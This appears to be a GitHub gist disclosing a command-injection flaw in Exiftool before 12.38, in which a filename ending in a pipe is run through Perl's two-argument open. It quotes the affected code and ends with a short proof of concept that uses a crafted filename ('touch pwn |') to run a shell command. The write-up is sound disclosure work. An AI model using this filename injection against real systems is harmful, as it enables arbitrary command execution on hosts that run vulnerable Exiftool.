Skip to content

Instantly share code, notes, and snippets.

@lothan
Created March 18, 2022 18:17
Show Gist options
  • Save lothan/1414276e4cb5d56dd431c2f0429e4429 to your computer and use it in GitHub Desktop.
Save lothan/1414276e4cb5d56dd431c2f0429e4429 to your computer and use it in GitHub Desktop.
Command Injection in Exiftool before 12.38

Overview

Exiftool versions < 12.38 are vulnerable to Command Injection through a crafted filename. If the filename passed to exiftool ends with a pipe character | and exists on the filesystem, then the file will be treated as a pipe and executed as an OS command.

Description

Exiftool is a "a platform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files." One of its features is being able to read metadata of compressed images. The code for this is GetImageInfo in exiftool:

sub GetImageInfo($$)
{
...
    if ($doUnzip) {
        # pipe through gzip or bzip2 if necessary
        if ($file =~ /\.(gz|bz2)$/i) {
            my $type = lc $1;
...
            if ($type eq 'gz') {
                $pipe = qq{gzip -dc "$file" |};
            } else {
                $pipe = qq{bzip2 -dc "$file" |};
            }
        }
    }

$pipe is eventually passed to Open in lib/Image/ExifTool.pm, which sets the file mode to read only (<), unless the last character is |. When the mode is not set and the last character is a |, Perl's two argument open will execute the command and "open" the command's output for reading, in this case to allow the gzip or bzip2 wrapper.

sub Open($*$;$)
{
    my ($self, $fh, $file, $mode) = @_;
    $file =~ s/^([\s&])/.\/$1/; # protect leading whitespace or ampersand
    # default to read mode ('<') unless input is a pipe
    $mode = ($file =~ /\|$/ ? '' : '<') unless $mode;
...
    return open $fh, "$mode$file";
}

Unfortunately there is no check that the pipe to open comes from a trusted command like gzip -dc "$file" | in GetImageInfo. An attacker can pass a filename that ends with a pipe (|) to exiftool and if it exists on the filesystem, execute it as an operating system command.

Proof of Concept

$ ls pwn
ls: cannot access 'pwn': No such file or directory
$ touch 'touch pwn |'
$ ./exiftool 'touch pwn |'
ExifTool Version Number         : 12.37
File Name                       : touch pwn |
Directory                       : .
File Size                       : 0 bytes
File Modification Date/Time     : 2022:01:18 18:40:18-06:00
File Access Date/Time           : 2022:01:18 18:40:18-06:00
File Inode Change Date/Time     : 2022:01:18 18:40:18-06:00
File Permissions                : prw-------
Error                           : File is empty
$ ls pwn
pwn
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment